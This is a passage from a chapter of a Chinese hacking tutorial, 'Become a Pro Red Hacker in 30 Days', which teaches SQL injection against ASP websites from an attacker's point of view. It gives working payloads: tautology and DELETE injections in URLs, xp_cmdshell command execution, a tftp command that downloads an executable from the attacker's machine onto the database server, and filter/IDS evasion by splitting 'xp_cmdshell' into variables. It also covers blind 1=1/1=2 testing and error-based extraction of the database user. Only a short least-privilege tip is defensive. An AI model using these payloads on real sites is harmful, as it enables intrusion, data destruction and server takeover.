30天打造专业红客-第17章

按键盘上方向键 ← 或 → 可快速上下翻页，按键盘上的 Enter 键可回到本书目录页，按键盘上方向键 ↑ 可回到本页顶部！
————未阅读完？加入书签已便下次继续阅读！


　　　　SQL　指令植入式攻击还有另一种形式，它发生在　ASP　服务器根据　querystring　参数动态生成网页时。这里有一个例子，此　ASP　页面从　URL　中提取出　querystring　参数中的　ID　值，然后根据　ID　值动态生成后继页面：　
　　　　代码：　
　　　　在一般情况下，此　ASP　脚本能够显示具有特定　ID　值的文章的内容，而　ID　值是由　URL　中的　querystring　参数指定的。例如：当URL为　example/Article。asp？ID=1055　时，ASP　就会根据　ID　为　1055　的文章提供的内容生成页面。　
　　　　如同前述登录页面的例子一样，此段代码也向SQL　指令植入式攻击敞开了大门。有些用户（比如我们）可能会把　querystring　中的文章　ID　值偷换为“0　or　1=1”等内容（也就是说，把　URL　换成　example/Article。asp？ID=0　or　1=1）　从而诱使　ASP　脚本生成不安全的　SQL　指令如：　
　　　　代码：SELECT　*　FROM　tblArticles　WHERE　ID=0　or　1=1　
　　　　于是，数据库将会返回所有文章的内容。　
　　　　当然了，本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉，比如用同样的手段发送　DELETE　等　SQL　指令。这只需要简单地修改前述　URL　中的　querystring　参数就可以了！例如：任何人都可以通过　“example/Article。asp？ID=1055；　DELETE　FROM　tblArticles　”　之类的　URL　来访问　Web　网站。　
　　　　但程序毕竟是各种各样的，有些可以通过修改URL数据来提交命令或语句，有些则不行，不能打URL的主意，怎么办呢？通过修改标签内的value的值也可以提交我们构造的语句，SQL　injection是很灵活的技术，但我们的目的只有一个，就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。　
　　　　在大多数ASP站点中，我们并不知道其程序代码，*任何扫描器也不可能发现SQL　injection漏洞，这时就要*手工检测了，由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“”，所以我们就在可修改的URL后加上以上符号，或在表单中的文本框加上这些符号，比如：　
　　　　代码：　
　　　　localhost/show。asp？id=1'　
　　　　localhost/show。asp？id=1；　
　　　　……
　　　　通过页面返回的信息，判断是否存在SQL　injection漏洞，只是最简单的通过字符过滤来判断，根据IIS配置不同，返回的信息是不定的，有时显示
　　　　Microsoft　OLE　DB　Provider　for　ODBC　Drivers　错误　'80040e21'　
　　　　ODBC　驱动程序不支持所需的属性。　
　　　　/register/lostpass2。asp，行15
　　　　有时可能会显示“HTTP　500　…　内部服务器错误”，也可能显示原来的页面，也就是页面正常显示，更可能提示“HTTP　404　–　找不到该页”，判断是否有漏洞就要有个最基本的根据——经验，这个就*大家自己去领悟了。
　　　　如果能拿到源代码就更好了，可以通过分析源代码来发现ASP文件的问题，不过这要求有较高的编程功底，最近PsKey就发现了不少程序存在SQL　injection漏洞。最近越发的开始崇拜PSkey了
　　　　提交数据
　　　　我们判断出一个ASP程序存在SQL　injection漏洞以后就要构造我们的语句来对服务器进行操作了，一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程，xp_cmdshell是一个非常有用的扩展存储过程，用于执行系统命令，比如dir，我们可以根据程序的不同，提交不同的语句，下例语句仅仅是个参考，告诉大家这个原理，实际情况视程序而定，照搬不一定成功，下同。　
　　　　代码：　
　　　　localhost/show。asp？id=1；　exec　master。dbo。xp_cmdshell　'dir'；　
　　　　localhost/show。asp？id=1'；　exec　master。。xp_cmdshell　'dir'
　　　　正如前面所说，提交这样的信息浏览器会返回出错信息或500错误，我们怎么才能知道执行是否成功呢？isno的办法是用nc监听本机端口，然后提交nslookup命令来查询，我个人觉得有些麻烦，直接用tftp来有多种好处，能知道命令是否成功执行；能获得SQL服务器的IP从而判断SQL服务器的位置；还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令，在玩unicode漏洞的时候大家就炉火纯青了吧？列如：
　　　　代码：　
　　　　localhost/show。asp？id=1；　exec　master。dbo。xp_cmdshell　'tftp　–i　youip　get　file。exe'；　
　　　　localhost/show。asp？id=1'；　exec　master。。xp_cmdshell　'tftp　–i　youip　get　file。exe'
　　　　有时提交的数据并不一定起作用，看你怎么绕过程序的检测了，如果幸运成功的话，可以看到tftp软件的窗口出现从本机下载文件的信息了。　
　　　　　　对话框中的IP地址就是SQL服务器的IP，可以根据这个IP判断SQL服务器处于什么位置，和web服务器一起，在局域网内，还是单独的服务器，就自己判断了，此知识点不在本文讨论范围内，就此略过。命令执行成功以后，就可以替换单引号中的内容，添加用户、提升权限做什么都随便大家了，不过要看看连接SQL服务器的这个角色是什么组的了。　
　　　　饶过程序/IDS检测　
　　　　大多数时候，情况并非我们想象的那么顺利，明明字符过滤不完善，但程序或IDS检测到用户提交某个扩展存储过程或系统命令，就自动转换或拆分字符，让我们提交的数据分家或改变导致失效，怎么办呢？我记得我为了弄清如何饶过IDS检测，花了两节课的时间来思考，还写写画画浪费了半本笔记本，又因为看了Pskey的文章的提示，就产生一个思路：拆分命令字符串，赋值给变量，然后把变量组合起来提交，这样就不会分家了，下面给出两个例子：
　　　　代码：
　　　　declare　@a　sysname　set　@a='xp_'＋'cmdshell'　exec　@a　'dir　c：'　
　　　　declare　@a　sysname　set　@a='xp'＋'_cm’＋’dshell'　exec　@a　'dir　c：'
　　　　有时候并不需要这样，只要把某些字符换ASCII代码，同样也可以成功执行，这个我还没有条件试，如果哪位高人有这方面的研究，请赐教。　
　　　　最后，为了减轻SQL　njection的危害，请限制　Web　应用程序所用的数据库访问帐号权限。一般来说，应用程序没有必要以　dbo　或者　sa　的身份访问数据库。记住，给它的权限越少，你的网站越安全！你还可以考虑分别给每个需要访问数据库的对象分配只拥有必需权限的帐号，以分散安全漏洞。例如：同是前端用户界面，当用于公共场所时就比用于具有本地内容管理机制的平台时更加需要严格限制数据库访问权限。
　　　　『第21天』深入SQL注入
　　　　前面我们说可以通过一些返回信息来判断SQL注入，但首先不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint（参数）之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理　URL　时服务器上出错。请和系统管理员联络。
　　　　其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的
　　　　那么，什么样的测试方法才是比较准确呢？答案如下：
　　　　①　host/showdetail。asp？id=49
　　　　②　host/showdetail。asp？id=49　；；and　1=1
　　　　③　host/showdetail。asp？id=49　；；and　1=2
　　　　这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：
　　　　可以注入的表现：
　　　　①　正常显示（这是必然的，不然就是程序有错误了）
　　　　②　正常显示，内容基本与①相同
　　　　③　提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs。eof时）、或显示内容为空（程序加了on　error　resume　next）
　　　　不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。
　　　　　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，下面我们在来坐分析。
　　　　不过我们先来说一个问题：
　　　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99％的网站都是其中之一。
　　　　怎么让程序告诉你它使用的什么数据库呢？来看看：
　　　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
　　　　host/showdetail。asp？id=49　；；and　user》0
　　　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and　user》0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值　”abc”　转换数据类型为　int　的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。
　　　　顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。　
　　　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表＇msysobjects＇中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表＇sysobjects＇中，在Web环境下可正常读取。
　　　　在确认可以注入的情况下，使用下面的语句：
　　　　host/showdetail。asp？id=49　；；and　（select　count（*）　from　sysobjects）》0
　　　　host/showdetail。asp？id=49　；；and　（select　count（*）　from　msysobjects）》0
　　　　如果数据库是SQLServer，那么第一个网址的页面与原页面host/showdetail。asp？id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。
　　　　如果数据库用